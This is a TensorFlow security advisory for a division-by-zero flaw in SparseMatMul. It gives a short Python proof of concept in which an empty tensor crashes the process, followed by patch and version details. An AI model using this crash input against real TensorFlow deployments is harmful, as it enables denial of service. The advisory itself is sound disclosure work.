GHSA-xw93-v57j-fcgh

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GHSA-xw93-v57j-fcgh

Summary: Division by 0 in `SparseMatMul`

Details: ### Impact An attacker can cause a denial of service via a FPE runtime error in `tf.raw_ops.SparseMatMul`: ```python import tensorflow as tf a = tf.constant([100.0, 100.0, 100.0, 100.0], shape=[2, 2], dtype=tf.float32) b = tf.constant([], shape=[0, 2], dtype=tf.float32) tf.raw_ops.SparseMatMul( a=a, b=b, transpose_a=True, transpose_b=True, a_is_sparse=True, b_is_sparse=True) ``` The division by 0 occurs deep in Eigen code because the `b` tensor is empty. ### Patches We have patched the issue in GitHub commit [7f283ff806b2031f407db64c4d3edcda8fb9f9f5](https://github.com/tensorflow/tensorflow/commit/7f283ff806b2031f407db64c4d3edcda8fb9f9f5). The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range. ### For more information Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions. ### Attribution This vulnerability has been reported by Ying Wang and Yakun Zhang of Baidu X-Team.

References: https://github.com/tensorflow/tensorflow/security/advisories/GHSA-xw93-v57j-fcgh, https://nvd.nist.gov/vuln/detail/CVE-2021-29557, https://github.com/tensorflow/tensorflow/commit/7f283ff806b2031f407db64c4d3edcda8fb9f9f5, https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-485.yaml, https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-683.yaml, https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-194.yaml, https://github.com/tensorflow/tensorflow